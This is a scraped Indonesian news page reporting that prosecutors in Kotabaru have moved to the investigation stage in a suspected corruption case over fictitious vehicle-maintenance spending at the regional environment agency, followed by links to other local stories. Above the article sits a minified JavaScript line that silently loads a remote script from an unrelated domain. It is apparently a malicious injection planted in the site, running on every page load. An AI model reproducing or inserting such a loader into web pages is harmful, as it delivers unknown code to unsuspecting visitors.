(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kotabaru

Status Dugaan Korupsi di Dinas LH Kotabaru ke Tahap Penyidikan


KANALKALIMANTAN.COM, KOTABARU – Dugaan kasus tindak pidana korupsi di kantor Dinas Lingkungan Hidup (LH) Kabupaten Kotabaru memasuki babak baru. Statusnya telah dinaikkan dari penyelidikan menjadi penyidikan oleh Kejaksaan Negeri (Kejari) Kotabaru.

Hal tersebut berkaitan dengan dugaan penyalahgunaan anggaran penyedia jasa pemeliharaan, biaya pemeliharaan pajak, perizinan kendaraan dinas operasional atau lapangan Dinas Lingkungan Hidup tahun anggaran 2020 dan 2021.

Diduga penggunaan anggaran tidak sesuai alias fiktif, dan tim Kejari Kotabaru sudah meminta keterangan dari pihak-pihak terkait yang terlibat secara langsung maupun tidak langsung dalam pengelolaan anggaran tersebut.

Kepala Kejaksaan Negeri (Kajari) Kotabaru, Dr Andi Irfan Syafruddin melalui Kepala Seksi Intelijen Achmad Riduan menjelaskan, berdasarkan surat perintah penyelidikan Kepala Kejaksaan Negeri Kotabaru Nomor : PRINT-01/0.3.12/Fd.1/01/2022 tanggal 28 Januari 2022, tim Jaksa penyelidik Kejari Kotabaru telah melakukan penyelidikan.

 

 

Baca juga: Mengunjungi Desa Wisata Tiwingan Lama, Melihat Langsung ‘Raja Empat’ Kalsel

“Setelah dilakukan permintaan keterangan oleh tim Jaksa Penyelidik selama kurang lebih 20 hari dan telah dilakukan ekspose perkara yang dipimpin oleh Kajari Kotabaru dengan hasilnya adalah ditemukan adanya perbuatan melawan hukum yang memenuhi unsur-unsur di dalam Undang-Undang Tindak Pidana Korupsi, sehingga perlu ditingkatkan pemeriksaanya dari tahap penyelidikan ke tahap penyidikan,” terangnya, Rabu (23/2/2022) petang.

Berdasarkan hasil ekspose tersebut, katanya melanjutkan, kemudian diterbitkan surat perintah penyidikan Kajari Kotabaru Nomor : PRINT-01/0.3.12/Fd.2/02/2022 tanggal 21 Februari 2022 tim Jaksa penyidik Kejari Kotabaru akan bekerja mengumpulkan alat bukti yang sah sesuai ketentuan pada Pasal 184 Kitab Undang-undang Hukum Acara Pidana berupa keterangan saksi, ahli dan juga dokumen-dokumen yang ada kaitannya dengan perkara tersebut.

“Dari itu, dinilai adanya potensi kerugian keuangan negara dalam pengelolaan dugaan penyalahgunaan anggaran yang tidak Sesuai penggunaannya atau fiktif yang pertahunnya kurang lebih sebesar Rp 1.994.697.400,” tutupnya. (Kanalkalimantan.com/muhammad)

Reporter : muhammad
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.